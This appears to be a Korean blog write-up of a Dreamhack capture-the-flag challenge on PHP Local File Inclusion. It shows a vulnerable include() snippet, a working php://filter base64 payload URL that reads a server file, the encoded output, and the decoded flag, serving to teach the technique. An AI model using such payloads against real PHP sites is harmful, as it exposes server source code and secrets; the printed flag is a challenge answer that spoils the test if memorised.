728x90

LFI란?

Local File Inclusion의 약자로 PHP로 만들어진 웹 사이트에서 include, require 등의 함수로 파일을 포함할 때 서버의 파일을 사용하여 공격.

<?php
  include $_GET['page']?$_GET['page'].'.php':'main.php';
?>

index.php 파일에 include 함수를 사용하고 있다. 문제에서 /var/www/uploads/flag.php에 flag 값이 존재한다고 알려준다.

http://host3.dreamhack.games:24546/?page=/var/www/uploads/flag 

위의 url을 입력해보면 flag 값이 나오진 않는다.

<div class="container">
      can you see $flag?    </div>

이런 문구만 보일 뿐이다.

이 문제에선 PHP Wrapper을 사용한다. php wrapper이란 개발자들의 개발을 돕기 위한 기능들이다.

https://opentutorials.org/module/4291/26819

 

LFI(2) - with php wrapper - WEB1

이번 시간에는 php wrapper를 사용한 lfi에 대해 알아보도록 하겠습니다.  우선 wrapper란 실제 데이터의 앞에서 어떤 틀을 잡아 주는 데이터 또는 다른 프로그램이 성공적으로 실행되도록 설정하는

opentutorials.org

이 중 php://filter wrapper를 사용한다. 이를 사용하면 서버의 문서에 접근할 수 있다. 위의 링크를 참고하길 바란다.

LFI 취약점이 있는 index.php에서 아래와 같이 쿼리를 입력하면 base64 인코딩된 flag가 나온다.

host3.dreamhack.games:24546/?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag

 PD9waHAKCSRmbGFnID0gJ0RIe2JiOWRiMWYzMDNjYWNmMGYzYzkxZTBhYmNhMTIyMWZmfSc7Cj8+CmNhbiB5b3Ugc2VlICRmbGFnPw==

base64 인코딩 값이기에 디코딩 해야한다.

https://www.base64decode.org/

 

Base64 Decode and Encode - Online

Decode from Base64 format or encode into it with various advanced options. Our site has an easy to use online tool to convert your data.

www.base64decode.org

<?php
	$flag = 'DH{bb9db1f303cacf0f3c91e0abca1221ff}';
?>
can you see $flag?

디코딩 결과이다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

baby-union  (0) 2023.12.09
ex-reg-ex  (0) 2023.05.25
proxy-1  (0) 2023.02.15
web-ssrf  (0) 2023.02.15
Carve Party  (0) 2023.02.13

+ Recent posts